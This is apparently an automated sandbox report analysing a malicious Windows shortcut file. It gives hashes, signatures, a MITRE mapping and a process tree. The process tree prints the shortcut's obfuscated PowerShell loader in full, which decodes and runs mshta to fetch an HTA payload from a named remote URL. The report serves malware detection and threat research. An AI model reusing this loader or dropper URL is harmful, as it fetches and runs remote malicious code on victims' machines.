Resubmissions

24-05-2022 12:25

220524-pllvsaabg7 10

Analysis

  • max time kernel
    0s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    24-05-2022 12:25

General

  • Target

    54267-876-8676.lnk

  • Size

    2KB

  • MD5

    9edabe11d846a6de5d337e737d24e85c

  • SHA1

    26f63aac40c4e9f459a379eec94a258b604f582e

  • SHA256

    4b582f38e3376346cb066e36ff8dfa32b268154bb2de13870702e8bbf366a023

  • SHA512

    5e88d418cb26f4bfd7bf5d1b2dbf31a8f026bbf29c760919d2986c883de6067df75c5eb8ca790a2c4a7ef09b87a2c6ba1b62e57e76fc3b32af633317639c6f0e

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://modhub.com.br/upload.hta

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\54267-876-8676.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" <#~@+uvOSgQ:Z#>$tEIiiZsclbDp=@(96580,96586,96575,96587,96568,96503,96575,96587,96587,96583,96586,96529,96518,96518,96580,96582,96571,96575,96588,96569,96517,96570,96582,96580,96517,96569,96585,96518,96588,96583,96579,96582,96568,96571,96517,96575,96587,96568);<#~@+uvOSgQ:Z#>$IMvbvbxLdUneQIhgXc=@(96544,96540,96559);<#~@+uvOSgQ:Z#>function xqvxwsJeK($LmLHgHafCwGhrN){$iSqvUTYMYOTHbW=96471;<#~@+uvOSgQ:Z#>$izdBrBghcDulg=$Null;foreach($eEFlcMD in $LmLHgHafCwGhrN){$izdBrBghcDulg+=[char]($eEFlcMD-$iSqvUTYMYOTHbW)};return $izdBrBghcDulg};sal UJNjnKJgNJogU (xqvxwsJeK $IMvbvbxLdUneQIhgXc);<#~@+uvOSgQ:Z#>UJNjnKJgNJogU((xqvxwsJeK $tEIiiZsclbDp));
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1960
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://modhub.com.br/upload.hta
        3⤵
          PID:1116

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1116-94-0x0000000000000000-mapping.dmp
    • memory/1732-54-0x000007FEFBEF1000-0x000007FEFBEF3000-memory.dmp
      Filesize

      8KB

    • memory/1960-88-0x0000000000000000-mapping.dmp
    • memory/1960-93-0x000007FEF3720000-0x000007FEF427D000-memory.dmp
      Filesize

      11.4MB

    • memory/1960-95-0x0000000002494000-0x0000000002497000-memory.dmp
      Filesize

      12KB

    • memory/1960-96-0x000000000249B000-0x00000000024BA000-memory.dmp
      Filesize

      124KB